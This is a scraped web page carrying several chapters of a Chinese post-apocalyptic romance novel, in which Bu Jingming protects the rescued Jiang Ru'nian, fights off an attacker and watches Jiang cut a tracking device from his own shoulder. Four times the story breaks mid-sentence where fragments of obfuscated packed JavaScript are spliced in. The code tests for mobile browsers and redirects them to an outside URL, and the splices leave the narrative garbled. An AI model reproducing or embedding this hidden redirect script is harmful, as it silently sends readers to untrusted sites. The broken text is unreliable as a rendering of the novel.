嫉妒如火,总是先燃起一点星子,之后迅速吞噬一切可燃物并向外扩散,从火苗变成火海,最终一发不可收拾。 他已经被淹没了。 * 天色还没完全黑下去,江入年就又睡着了。 自从脱离了实验室的营养液,他的精力似乎低得过分,时睡时醒,步景明还想问他要不要出去走走,看看天明基地,结果迟迟没得到回应,回头一看才发现人已经睡着了。 江入年陷在柔软的枕头里,微卷的头发乖巧地贴着脸颊,少了那双蓝天的眼睛,好像这个时候的江入年才是步景明最熟悉的那个江入年。 即便头顶还悬着一柄未知的达摩克利斯之剑,但眼下难得清闲,他自己走不开,托人调查的事也没那么快出结果,步景明所幸自己也脱了外套上床,轻手轻脚地将江入年往里头挪了点,自己就坐在他身边,一边用指腹摩挲着那张仍显苍白的脸,一边想着其他的事情。 卫民基地,是目前公认的三大基地之一,据说已经发展出了属于基地的军队,也成立了工厂,科技程度距离大灾变之前大约也走了百分之七十的进度条。 但这不是国家的基地,不知为何,自大灾变后至今五个年头,上边几乎没有任何动静,步景明猜,大概率是死得差不多了,没给这个社会剩下多少。 所以下边的人也只能各自摸索着生存,然后等着一个个能人异士建立或大或小的基地,就这么稀里糊涂地活下来。 步景明差不多是三年前去的卫民基地,那个时候大众还没发展出什么公知,各自的信息也很闭塞,但就算如此,卫民在当时的规模也已经不小,直接接管了一个省会城市的内三环范围,事到如今,说不准整个城市都已经被收入囊中。 对卫民基地的印象已经不深,步景明当时带着几个队友在里面停留了五天,最终还是不得不接受自己又白跑一趟,而这个基地一丁点有关的线索都没有的事实。 可……根本不是这样的,那个时候的步景明尚且弱小,说不定那些人早早就知道他来找江入年,只是像看一只可以随意被人类一个指头碾死的蚂蚁,毫不在意,但也不可能让他打听到任何消息。 步景明深深地吐出一口气,他如今能找到江入年并且把人救出来,说不定也只是因为背后的势力淌了一趟时间长河,一时放松警惕罢了。 他还不够强大,无论是哪一方面。 也许……他该去拜访一些人了。 还有天明基地,某种方面上,他信赖的只有天明,这个当初被他一手扶持起来的基地,若非还要找人,他应该会选择留下来自己管理发展这个基地。 但向长霖做得也很好,不愧是他在那一群幸存者里选出来的人。 “啪嗒。” 悄无声息地有雨落下,打在窗台,拉出一条淡红的痕迹。 是红雨。 为了不打扰到江入年睡觉,步景明已经关了卧室的灯,只有未关严实的门缝中透出一线来自客厅的光。 步景明的心里原本总有一种隐隐的不安,但这红雨一下,不知为何,心里的不安突然消散了一些。 也许,是想让他能够好好的睡一觉吧。 算起来,自从大灾变发生的那一日起,步景明也从未睡过一天安稳觉。 步景明也慢慢躺了下去,隔着被子抱住江入年,感受到实实在在的触感,他才恍然有自己仍存在于世的真实感。 这次闭上眼,将自己抛进黑暗里,久违的察觉到困意,步景明的意识终于沉到深处,慢慢睡着。 一夜无梦。 * 江入年再次睁开眼时,发现自己正浮在熟悉的营养液里。 环顾四周,这个囚笼里依然漆黑而死寂,只有他在这里,不知算不算唯一的活物。 他不知道自己还是不是活着。 这样一成不变的日子还会持续多久呢?光滑的玻璃上连指甲划痕都留不下,他也早已在无尽的黑暗里失去了对时间的概念。 不是没想过,那个唯一有可能将自己从这里救出去的人还会不会来,还会不会活着,这个年头曾经不断地折磨着他,让他难过,害怕,恐惧,直到快要疯掉。 后来……后来发生了什么呢,江入年忘记了,但他决定,再坚持一下。 再坚持一下。 说不定,就像现在这样,眼前的大门缓缓打开,有个略显陌生的身影逆着光走进来,张口唤他:“年年。” …… “年年?” 步景明先他一步醒来,本还在美美欣赏爱人的睡颜,却不想看着看着,忽然看见有一颗晶莹的泪水毫无征兆的出现,滑过脸颊落到枕头上。 随后,江入年整个人都颤抖起来,眉头也蹙起,眼泪掉得越来越凶,人却还睡着,没发出一丁点动静。 也不知梦到了什么,反应这么大。 步景明轻拍安抚了他很久,他才脱离梦魇,醒来时那迷茫空洞的眼神险些让步景明以为他的记忆又发生了错乱。 但江入年只是睁着尚带泪的眼,愣神许久,“……啊。” 他吐出一口气,疲惫地闭了闭眼,双唇微张似是要说什么,可步景明什么都没听到。 此时的天边不过蒙蒙亮,步景明便看着他说道:“还早,再睡会儿?” 分明才睡了整整一个晚上,江入年却像是完全没有休息过的样子,就连撑起眼皮都辛苦,步景明就看他眼神放空,慢慢地,慢慢地复又阖上眼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706904|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 步景明抿了抿唇,对江入年的情况颇感无力,也十分无措,他实在没有应对经验,若要说起来,竟然是江入年更知道要怎么做。 毕竟曾经那个封闭了内心的小孩,就是被另一个阳光活泼的小孩拉着手走出来的。 得慢慢来,步景明再次对自己重复这句话,一边回忆着江入年曾经都做了什么,一边放轻动作起身下床。 江入年不想吃东西,看来要找些甜的来试试,想做蛋糕有点不太现实,但应该能做些糖饼…… “咻!” 宁静的房间内蓦地响起一阵破空声! 步景明神色一凛,心念一动之下就有一团黑影迅速爬上床铺,将江入年连人带被吞了进去,而他自己则是迅速往床下一滚,躲过一把自背后飞来的半透明刀刃。 敌人眼见偷袭不中,所幸也不躲了,屋里突兀出现一个半透明人形,手持短匕首就朝步景明冲了过来。 步景明就地翻滚后迅速起身回头,抬手格挡住对方持刀挥舞而来的手臂,同时脚下横扫使力朝对方的双腿踢去。 来人自然没那么轻易让他得逞,动作利落躲过之后,另一只手上竟然又出现了一把刀,同时向步景明攻来。 没想到敌人的追击会来得这么快,他们不过才从实验室里出来寥寥两三天,怎么会如此精准就找到他们的位置的?! 步景明暂时无暇分心去想,他躲过几招对面的攻击后就能判断出来实力不及他,便故意漏了个破绽,引得对方大意忽视了自己的背后,接着就有一团黑影如蛇般闪上那人的脖子,死死绞住! 那半透明的样式应该是天赋能力,看起来可以穿透死物而无法穿过活物,所以在战斗时对方不受屋内物件的影响,步景明却能接触到他,而暗影同为天赋能力,似乎也不在对方的穿透范围内。 “嗬…嗬!” 对面在暗影的禁锢下挣扎起来,手上一松,那刀就化为完全可视的实体落地发出“当啷”声响,步景明离他一米远站直身子调整着呼吸,同时右手用力握拳,暗影也随之猛地一收! 半透人形顿时发出一声惨叫,却没现出实体,而是当场如化雾般消散在空中,除了两把短刀之外,没有留下任何事物。 步景明眉头紧皱,满打满算,他从救出江入年到现在甚至没超过72小时,山河基地距离天明那么远,怎么会这么快? 是谁?丘月月?还是…… 黑影重新爬上床,把懵逼坐着的江入年放出来,被带进暗影中的他无法看见外面的景象,但听到了战斗的声音,发现自己被放出来后,感觉扭头去找步景明的身影。 看见完好无损的步景明时,江入年脸上的神情肉眼可见的放松下来,但很快,他意识到了什么,抬眼对上步景明探究的眼神。 “年年,你……” “抱歉,”江入年打断他,“我忘了,我身上有他下的东西。” “……” 眼见步景明不说话,江入年还想说什么,又犹豫着,将到嘴边的话咽了回去。 瞒着这么重要的事不说,他是不是要被讨厌了……? 但步景明只是在想,要怎么样,才能让江入年不跟他说抱歉和对不起。 20. 红雨 二人对视着沉默,直到室内渐渐亮起,步景明从自己的琢磨中回神,才发现江入年已经在床上缩成了一朵阴沉的蘑菇,头上就差出现一朵下着雨的小乌云了。 “年年,我没有在责怪你,”步景明赶紧两步走近,“也不用跟我说抱歉。” 他抬手捧起江入年的脸,“年年,需要为此感到抱歉的只应该是我,是我没有想到这一点,才会差点让你又遇到危险。” 面对那双黑沉沉的眸子,江入年却移开了视线,看着被子上的褶皱,生硬地转移话题,“我身上被植入过定位器,不取的话,在那边就是活靶子。” “我来想办法。” 步景明理所当然的认为江入年不知道要怎么取出定位器,但江入年重新望向他的眼睛,道:“我知道定位器在哪,也知道怎么取出来。” “但是定位器离体的瞬间就会失效,我的最后坐标就会留在天明。” 步景明瞬间明白了他的意思,不能给天明带来这么大的麻烦,他们必须尽可能的离天明远一点再取出这个定位器。 如果直接叫上柯九辛他们离开的话,无法保证会不会尚在路途中就再次被追上,他也许得带着江入年单独行动。 “年年,”步景明站在床边,轻轻牵起他的手,笑了笑,“要不要去看看外面的世界?” “……嗯。” 虽然时间很紧急,不知道什么时候会出现第二次袭击,但早饭还是要吃,步景明拉着江入年去卫生间洗漱,自己则是拿着昨晚剩的汤去这间屋子的厨房里用电磁炉加热,将肉都从骨头上剥下来,骨头则全扔进了垃圾桶里。 由于有呕吐的前科,步景明根本不放心江入年自己一个人吃饭,在一旁看着他慢吞吞地喝了一碗汤,吃了好些肉之后,才放心地带着江入年一起去隔壁那套房子找自己的队友们。 说起来,原本他们三个人都是一同住在一间屋子里,正好三房一人一间,结果找到江入年之后,他们几人就默契的把整间房子都留给了这对小情侣。 来到隔壁房门前,步景明敲了两回门,又按了一次门铃,这才等来开门的田东宇。 “明哥?怎……” 田东宇在发现是步景明的瞬间,视线飞快地在步景明身后低着头的江入年身上瞥了瞥,“怎么了?” 步景明没急着说,而是问道:“柯九辛呢?还没醒?” “老大,怎么突然污蔑人家清白啊。” 柯九辛从田东宇身后冒出来,嬉皮笑脸的,“诶呀,还带嫂子来了?还杵门口干什么,快进来快进来。” 越过两人还能看见里面在客厅沙发上坐着的丘月月,既然人都醒着,步景明也就牵着江入年进了屋,几人都在沙发上落座,空气中弥漫着一股浓浓的香气,看来是正准备吃早饭。 这是丘月月第一次在实验室外和江入年碰面,她看着少年眼里闪过的几分意外,笑了笑,“第一次在外面见你,就当重新认识一次?我叫丘月月。” “江入年。” 他冲她淡淡点点头,另一边柯九辛见状也加入了对话,“所以现在是介绍新朋友的阶段吗?你好你好,我是柯九辛,柯南的柯,数字九,和辛辣的辛。” 江入年许久没接触过柯九辛这种格外自来熟的陌生人,潜意识告诉他这会儿该笑了,对方主动展示了友好,自己也应该回应一份友好才对。 但他扯了扯嘴角,没扯动,大脑突然一下就变得如粘稠难搅的浆糊那般,眼神也开始放空。 糟了,要搞砸了…… “你们晚点再认识,现在有更重要的事。” 也不知步景明是不是看出来了江入年的异样,他严肃地拉走了话题,“就在刚才,疑似实验室背后势力的人已经找到我们了。” “而且没有任何沟通交流的意思,上来就打。” 丘月月猛地倒吸一口凉气,“我身上真的没有定位!” “等等……” 几人的脑子都很正常,既然丘月月可以确认不是自己引来的敌人,那就只有另一个同样从实验室里出来的人。 眼见大伙将视线都放到了江入年身上,步景明颔首道:“很抱歉,是我之前疏漏了一点,年年身上也可能有定位器。” 倒不如说没有的话就奇怪了。 “定位器可以取出来,但定位器一旦取出来就会失效,为了避免给天明带来麻烦,我打算在外面把这个定位器拿出来。” 柯九辛一拍胸口,“那还等什么?我们这就出发!” “不,”步景明摇摇头,“我带年年出去,把定位解决了就回来。” 将先前考虑的情况和几人说明后,步景明表示自己的天赋可以做到快速移动,一来一回比车快,还能让最后的坐标停留在一个距离天明较远的地方,更安全一些。 步景明都思考到这种地步了,他们也没什么好置喙的,只能纷纷点头让两人注意安全。 柯九辛还特别补充道:“老大,我会一直给你开着精神链接,有事你就在脑子里呼我!” “嗯,你们最近也不要落单,尽量待在一起。” 既然情况已经说明,未免拖延之下多生事端,步景明又带着江入年离开了。 他们二人消失在门后,柯九辛顿时葛优瘫在沙发上,扭头瞅一旁的田东宇,“小宇子,你最近好奇怪哦,在老大面前都这么沉默了。” 突然被点名,田东宇装作若无其事地扶了扶眼镜,“有吗?” “有啊,刚才我让老大注意安全,你都没跟着说两句,点点头就结束了。” 田东宇狡辩道:“那这不是,你都已经把话说完了,我还能说什么?” “……好像也是哈。” 但柯九辛还是觉得他有哪里怪怪的,到底是从什么时候开始变得这么奇怪的? 仔细想想,似乎是老大成功找到对象的时候开始的? 丘月月去接了一杯水拿在手里,左看看右看看,她并不怎么了解这个小队的纠葛,此刻只能像吃瓜群众一样偷偷吃瓜。 这边房子里的对话没有被步景明知晓,他牵着江入年的手,第一次带他走出单元楼,看清了他们所在的这个基地是什么样貌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706905|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 无论是建筑还是绿植,此刻都仿佛蒙上了一层淡淡的粉红色的纱,昨夜的红雨下了一整晚,直到凌晨才慢慢停止,地面上仍然有数个浅红色的水潭,幽幽地映出不怎么澄净的天空。 好奇怪的现象,而比这更奇怪的是,基地里的道路格外的空旷,在建筑外竟然一个人都看不见,仿佛人类全死在了五年前的灾变中,无人生还。 江入年盯着散落四处的或深或浅的红色,扭头去看步景明。 “昨晚下了红雨,下了很久,”步景明捏了捏他的手,“知道红雨吗?” 江入年轻轻地摇了摇头。 “一会儿路上给你解释,”步景明抬手盖住他的眼睛,“闭眼,我们要通过影子来移动了。” “要抓紧我的手。” 之前几次被放进影子里的时候,江入年的意识都不够清醒,这会儿他依着步景明的话闭上眼,蓦地,对世界的感知尽数消失,只有彼此相握的手还留存着温热的触感。 这是一种怎样的感觉呢?好像认知被悄无声息的影响着,人不再是人,而是影子的一部分,意识到这一点时的江入年顿时明白步景明为什么要让他闭眼,还要让他握紧自己的手。 皮肤相触之下,为江入年在现实中留下一个锚点,而很快的,步景明也开口道:“红雨大约是两年前出现的现象。” “有一条蟒蛇异变出了翅膀,整天在云层里飞,会随机袭击它看见的任何一座基地。” “后来,几个基地联手把它杀了,在云里砍成好几截,在那之后,就会时不时下这种红雨。” 江入年听见自己的声音,“所以,那是它的血吗?” “也许吧,红雨对人体不好,淋到会生病起疹子,所以不要在红雨的时候出门。” 步景明一边给江入年科普如今的一些常识,一边迅速借着影子穿梭在大地上,穿过废墟又穿过树丛,直到他们距离天明足足有二十公里远。 在一处空地上,步景明拉着江入年离开影子,同时眼疾手快扶住要向下跌去的江入年,撑着他慢慢地坐到一块凸起的地面上。 “很难受吗?要不要喝点水?” 步景明以外的活物要在影子里进行这么远距离的移动实属有点费劲,要不断的对抗内心深处的害怕和被影响的认知,江入年此刻就白着一张脸,额上细细密密地冒了一层虚汗。 步景明从自己的外套口袋里拿出一个小水袋,拧开盖子递过去,“喝两口。” 清凉的水滚过舌面,落进食管里,总算给江入年压下了恶心感。 步景明守在一旁,看他脸色回复一些后,问道:“定位器要怎么取?需要我帮忙吗?” 也不知道这话有哪里不妥,江入年垂下眼帘,沉默好一会儿才点点头,道:“你站远一点。” “好。” 步景明向后退了一步,可他犹不满意,让步景明再退远一点,直到两个人之间隔了超过一米的距离后,江入年终于有了动作。 只见他不知从什么地方掏出了半截锋利的刀刃,狠狠朝自己的左肩上刺去! 21. 执念 步景明瞳孔骤缩,还来不及冲上去制止,就看见江入年刀尖一转,生生从自己身上剜下来一块血肉。 那皮肉落地,鲜红的血中是一颗小指指甲盖大小的黑色物体。 江入年挖出定位器就马上扔下手中的半截尖刀,抬手捂住了汩汩流血的伤口。 “……” 步景明一步就跨到他身前,单膝跪地,一言不发地撕了一块里衣的衣摆,来回叠了三四层,拿开江入年的手把布料按在伤口上止血。 他动作又急又快,双唇抿得几近成为一条线,虽然眉头没有皱起,却能从绷紧的脸部肌肉看得出来,他在生气。 怎么能不气呢?若他知道江入年所谓的可以自己取,是指直接给自己一刀连肉一起挖下来,他说什么都不会同意江入年这么做的。 更让步景明有些难以维持住自己情绪的一点是,他知道,江入年是故意这么做的。 或许是出于激怒他的目的,又或是别的什么原因,总之,江入年在知道他会生气的前提下,仍然这么做了。 手下黑色的布料逐渐被血浸透,肉眼难见,却能闻到一股浓郁的血腥味,而步景明的情绪就在这样的情况下,诡异的平息了。 无论如何,总归是自己没做好,毕竟,假如一开始他没有选择和江入年吵架,即便吵架他也没有离开的话,江入年就不会遭遇这一场劫难。 眼见他很久没说话,江入年飞快地瞅了他一眼,“不用那么紧张,顶多半个小时,就复原了。” “……年年,”步景明叹了口气,说出口的话却不是责备,“如果有脾气想发,就发到我身上,不要伤害自己。” “我没有,”江入年纠正着,但仍然没有看他,“本来就是件小事,还过去了那么久,早就不生气了。” “我只是……” “嗯?” 江入年被步景明平静地态度噎住,嘴边的问话卡在齿缝间,又在舌根处滚了两滚,始终没能顺利说出来。 他反而先蹙起眉,握住步景明的手腕往外移开,失去外力作用的布条沉沉坠地,露出那不规则的血洞。 若有旁人在看,怕是要被惊到呆愣,因为那血洞之上已经形成一层薄薄的红色半透薄膜,里面正以肉眼可见的速度在生长肉芽,修补血管,仅仅几分钟的时间,伤口的边缘就开始结痂痊愈。 “可怕吗?” 他突然没头没脑地问道。 步景明一时没跟上他的脑回路,“什么?” “你如果不一直看着我,”江入年松开他的手,说着说着,竟还笑了起来,“我什么时候砍自己两刀,你都不会发现的。” “……” 步景明终于如他所愿的,眉头微皱,脸上表情沉下来,想开口问江入年,他真的会这么做吗?可又觉得没必要问出口,因为江入年自从醒来以后,似乎就缺少了一样很重要的东西。 步景明一直模模糊糊不清楚究竟少了什么,只觉得江入年明明就在自己身边,他们之间却又距离很远,步景明不自知地对此感到着急,却又不知道为什么而着急。 直到看到江入年可以眼也不眨地给自己一刀,面不改色地剜自己的肉,步景明终于明白了。 这个世界对江入年而言已经失去了意义,包括自己。 当一个人无牵无挂的时候,在如此糟糕的世界里,死亡就成了一种解脱。 江入年只是不太想活了。 想通这一点,步景明的表情反而变得平和不少,其实年年还是以前的那个年年,哪怕步景明的存在已经不足以让他产生“活下去”的念头,但他还是在用尽各种手段告诉步景明:他不再值得他爱了。 如果没有他的存在,凭步景明的实力,完全可以在任何一个大基地里过得很好,不会招上什么不好惹的势力,不必在外面对危险风餐露宿。 抛下他吧,产生这样的念头不是步景明的错,只是他变得差劲了,变得不好了。 不过,他低估了步景明对他的执念。 抱歉,步景明在心里说着,他是一个很自私的人,这辈子都不可能放开江入年的手,下辈子也不可能。 谁让江入年痛苦,他就去解决谁,但如果造成江入年痛苦的人是他……那就没办法了。 江入年其实自己也说不好,做出这一切又说出乱七八糟的话之后,他究竟想要步景明做出什么样的反应,但总之不会是现在这样:步景明的神情彻底放松下来,开口说话的语气甚至隐隐有些愉悦,“那就只好,一直把你放在我眼皮底下了。” 这不对。 江入年不笑了,他甚至难得直呼步景明的全名,“步景明。” “怎么了?我们该回去了。” “……你为什么不说那句话?” “哪一句?” 他们分明处在同样的高度,可江入年看他跪在那里,抬起眼皮望向自己,竟像是在仰视高高在上的云。 这让江入年一时有些恍惚,吐出的话语也变得飘忽起来,“……就是那一句,‘江入年,你怎么变得和以前那么不一样了’。” “我为什么要说这句话?” 森林里的兔子毫无觉察自己已经被猎人引导上一条自己本不打算走的路。 “因为,我确实变得和以前不一样了,不是你喜欢的样子。” “所以到底为什么,为什么这样的我,”江入年说出的话逐渐变得混乱而没有逻辑,“已经这么讨厌了,你还是这样,喜欢我,为什么不讨厌?你应该要讨厌我了。” 步景明温柔地打断他,“你就是你,无论变成什么样,我都会喜欢。” “纠正一下,不是喜欢,我爱你。” …… 江入年不依不饶,“可是,我这样质疑你,你为什么不跟我生气?我在质疑你过去十几年的……” 充满尖刺的话语被一个吻突兀打断,温热的唇瓣摩挲,亲昵而缱绻。 “年年,五年我都坚持下来了,现在你完好的出现在我面前,我更加不会就这么放弃你。” “……” “更何况,这一切的一切,都不是你的错。” 无论是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706906|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有必定会被觊觎的天赋,还是被囚困索取,遭受非人对待,都不是你的错。 滴答。 又有粉红色的雨滴落下,打在茂密的枝叶上,留下一串浅浅的印记。 * 赶在雨下大之前,步景明带着江入年回到了天明基地。 这一来一回花了三个多小时,但红雨未停,天色阴沉,再回到基地里依然看不见人,和出发前差不多的景象,倒像是他们白得了这三个小时的时光。 躲进暗影里并不能完全躲避红雨,但步景明脱了外套把江入年严严实实的地罩起来,所以回到屋子里时,只有步景明的脸上手上有被红雨淋出来的红痕。 江入年盯着那些红痕,想让步景明去洗个澡,却见步景明掏出一个奇怪装置,按了个按钮,里面就传出一个男声,“哥,现在方便不?” 步景明看了一眼坐在床上的江入年,“嗯,查到什么了?” “第一件事还在找,有消息的是第二件。” 对面李焕卿的声音透过联络器传来,有些失真,“这事不好查,但是我听你比较急,先说个不保真的消息。” “‘神赐’的来源是一个名为‘A01’的项目,最先确立这个项目的人叫吴树,是广曙基地的人。” 在意识到李焕卿打算说什么的时候,步景明就关了联络器的扬声器,避免提到什么词刺激到江入年,他握着联络器靠在门框上,简单回应着,“知道了。” “广曙基地哥知道不?” “嗯。” “行,那就……等等,你的了解不会还停留在一年前去那儿的时候吧?” …… 步景明被他说得一噎。 李焕卿还确实说中了,他目前对广曙基地的了解全都基于去年找人的时候去过一趟,但是一年时间,说长不长说短不短,应该不至于和他印象中的差得太多。 不过……广曙基地么?竟然不是卫民基地? “其实广曙的情况和你之前去的时候确实也差不了太多,只是出了一件大事,管理层大换血,几乎全换了,新的首领并不好相处,你到时候过去注意点,尽量别起什么冲突。” “嗯,对了,那个吴树……”步景明提到这个名字的时候压低了声音,“长什么样?” “我想想啊……据说长得不高,只有一米七,头发留得比较长,会扎个小辫子,脸长得怎么样……记不太清了,总之不丑。” 步景明闻言一愣,这不仅和丘月月说的不相似,甚至和山河基地那个老人说的也不相符。 竟然不是一个人? 挂断通讯,步景明这才注意到江入年一直坐在床上,抱着枕头,盯着自己愣神了许久。 “怎么了年年?” “……” 似是在这一声叫唤之后才回神,江入年晃了晃脑袋,没有回应步景明的问话,而是蹬着腿把自己挪到床的另一边,转了个方向看着窗外细细密密的雨继续发呆。 步景明一时顾不上细究他的行为,因为玄关处又传来了一连串的敲门声。 22. 枣树 步景明临出门前忍不住又往里瞅了一眼,先前江入年说的话确实给他留下了一点心理阴影,现在只要江入年离开他的视线一秒,就让他难以放下心来。 察觉到他的视线,江入年终于微微偏过头,目光扫过房门处,看着步景明离开房间走向客厅,但没有关门。 很快,有一阵谈话从外面飘向了屋内,那是一个江入年不认识的声音,也称呼步景明为“景明”。 来人是向长霖,他刚听说步景明就在天明里遭到了袭击,本来早就想过来问问情况,结果来了一看根本没找到人。 又去隔壁屋问了才知道,步景明就这样带着对象跑出去解决定位问题了,还真是…… 向长霖一时不知该说他莽撞还是冲动,但柯九辛帮他的老大辩解,步景明和他们说了理由,只是当时向长霖不在而已。 “……那人不是也已经杀了吗,跟我说一声能耽误他多少时间!” 向长霖把一口气叹了又叹,但也没办法出去把步景明追回来——鬼知道他已经跑哪去了,只能希望人能平安回来了。 也就是他,现在还能有多少人把野外当自己家一样说出去就出去。 好不容易等到步景明回来,向长霖把手上的事一撂,赶紧过来找人。 “景明!听说你遇到袭击了,有没有受伤?” 步景明好整以暇地站在门口,任他上上下下把自己打量一遍,没看到什么伤口,向长霖也就放松了一些,然后,他的视线就落在了步景明腰腹处那一块明显被人为撕掉的衣服上。 “你这?”向长霖的眼神又充满了怀疑,“真没什么事吧?” 步景明稍微欠身让出一条路,意示向长霖进来说。 “没事,来的人实力不强,只是……” 步景明回忆着当时的场景,“我不确定究竟有没有杀死他。” 这也是为什么步景明这么急,急着解决定位之后,下一步就要急着离开天明了。 若那种消失是一种逃脱之术,那么他们在天明的行迹就已经彻底暴露在敌人的视野之中。 向长霖跟着他走进客厅,却没有坐下,而是面色凝重地抱臂站着,“那你接下来有什么打算?有方向了吗?” “……” 见他沉默,向长霖便以为还没有头绪,安慰道:“没事,这才过去多久,我也让人去查了,暂时还……” “不,不是没有方向,”步景明按了按眉心,“是线索方向……有点多。” 最初意识到江入年是被人带走是在山河基地,那个老人为步景明提供了这一条简单的线索。 而后是丘月月所说,这个以江入年为中心的实验项目,当时的主负责人疑似老人嘴里的那个男人,名字未知,样貌未知,没有足够的证据来证明是或不是,仅仅只能作为猜测。 而这个主负责人和卫民基地的高层有过通话,不清楚交流内容,同样只能怀疑实验室与卫民基地有关系。 再之后,就是李焕卿带来的情报,终于有了明确的姓名和外貌特征,但又和前面那个男人毫无关联,完全不是一个人。 这一番思索下来,目前还是李焕卿这边的消息可信度和信息量更大一点,或许还是应该先去广曙基地。 步景明将这一切简单地告诉向长霖,表示自己会先去广曙基地。 “广曙啊……好像听说在北边,离天明可有不小的距离。” 天明基地在全国的地理位置上还不错,正好在中央区域,无论往哪个方向去都不算太远,但那也只是在大灾变之前,如今的人类绝大部分还没有对抗野外异变体的能力,只能依靠基地来抱团生存,别说像步景明这样到处跑了,就是离开基地都不太敢。 异变的动植物重新回到近乎世界霸主的地位,肆无忌惮地将人类的生存空间压缩,将这个世界上大约百分之八十的地盘全部霸占为它们的乐园。 向长霖倒是不担心自己兄弟的实力,只是多少有些没想到,即便把要找的人找到了,却还是要和从前那样闯进野外去。 “对了,广曙基地据说换了整个领导层,这事你知道吗?”步景明想起这回事,不知道这和他的目的有没有关系。 “知道,之前和他们基地的人有过交流。” “嗯?” 两人面面相觑,互相惊讶对方的消息之灵通。 眼看步景明脸上神情更显意外,向长霖笑了笑,“你一直在外面跑,对现在的基地发展都不太了解吧?” “虽然也不是所有基地都能做到,但天明已经有自己的贸易队了,其他一些大的基地也会专门设置对外的商队,用来交换物资或是情报。” “广曙基地的人差不多是一个月前来了一趟,我们也是那个时候知道他们管理层换人了。” “不过也不是一个月前换的,好像是……差不多半年前换的吧,只是他们商队来了才知道这回事。” 一个月前。 步景明顿时想到那个给了小草基地一支“神赐”的男人。 难道这背后的势力确实和广曙的关系更为深远? “老大!” 步景明被这一声吸引了注意,抬眼望去才发现方才向长霖进来时没有关门,这会儿柯九辛三人都从外面走了进来。 屋子里顿时显得热闹了不少,柯九辛一进来就给自己找了个沙发空处坐下,“老大,怎么样?问题解决没?” 步景明点点头,没多提这之间发生的事情,只说道:“下一个目标,广曙基地。” “就是我们去过的那个基地?”田东宇想了想,“好像挺远的我记得。” 在座的几人,同为小队成员的只有丘月月没去过,她举手提问,“这个基地在哪啊?有多远?” 柯九辛回答她:“应该大约得有个六七百公里?也不是很确定,因为当时从广曙出来之后我们是去的别的基地来着。” 看她一脸茫然,显然是对里程没什么概念,柯九辛只好换个说法,“就是我们开车的话,就算一刻不停,也得开差不多20个小时吧。” 其实在大灾变之前的话远不需要那么久,但高速早就被毁得七七八八,就是普通公路都不好开,途中遇到异变体还得战斗或是避开,柯九辛嘴里说的20小时都属于理想速度了。 “妈呀,我还从来没有去过那么远的地方……” 这边女性在讨论去广曙的路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706907|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 途有多遥远,向长霖则是问步景明,“打算什么时候出发?” 如果只有步景明的话,他的行动力一向迅速,这会儿决定了目的地,明早就会出发,但他要考虑队员们的状态,他们也才奔波了一趟回天明,缺乏足够的休息,很难保证这一路上的精气神。 更何况,还有江入年。 江入年是最让他担心的,不仅身体虚弱,精神状态也欠佳,眼下最好的选择应该是在一个合适安全的地方好好休养才对。 但……没有办法。 步景明低头沉思着,如果要多待一天休息和整备物资的话,只能寄希望于江入年身上取下的定位器能够暂时迷惑一下对方了。 “后天吧,后天早上走。” 他这话一出,向长霖和丘月月都没什么反应,只有跟着步景明好几年的柯九辛和田东宇向他投来意外的目光。 “老大,我没听错吧?后天早上?不是明天?” “明哥,是还有什么事情没处理吗?需要我们帮忙吗?” 这俩人你一句我一句,愣是把步景明嘴边的一句“好好休息”给堵了回去。 怎么回事,这俩人就这么喜欢跟他在外面跑?多停一天还不习惯了。 “……多一天用来休息和准备物资,当然,只是在没有意外情况的前提下。” 丘月月这时才忽然想到什么,“对了,为什么是这个广曙基地?不去卫民吗?” 她还以为步景明听自己提的那一嘴,会选择去卫民。 步景明便直接告诉了她原因,只是没详说线索的来源,眼见没有人问,丘月月也只好把疑问压了下去。 “白得一天休息时间,那我要回去睡觉了!” 柯九辛率先伸了个懒腰站起来,摆摆手就离开了,丘月月跟在她身后也往外走,临出门前望了一眼里面敞开着房门的主卧,但由于角度问题,看不见里面有没有人。 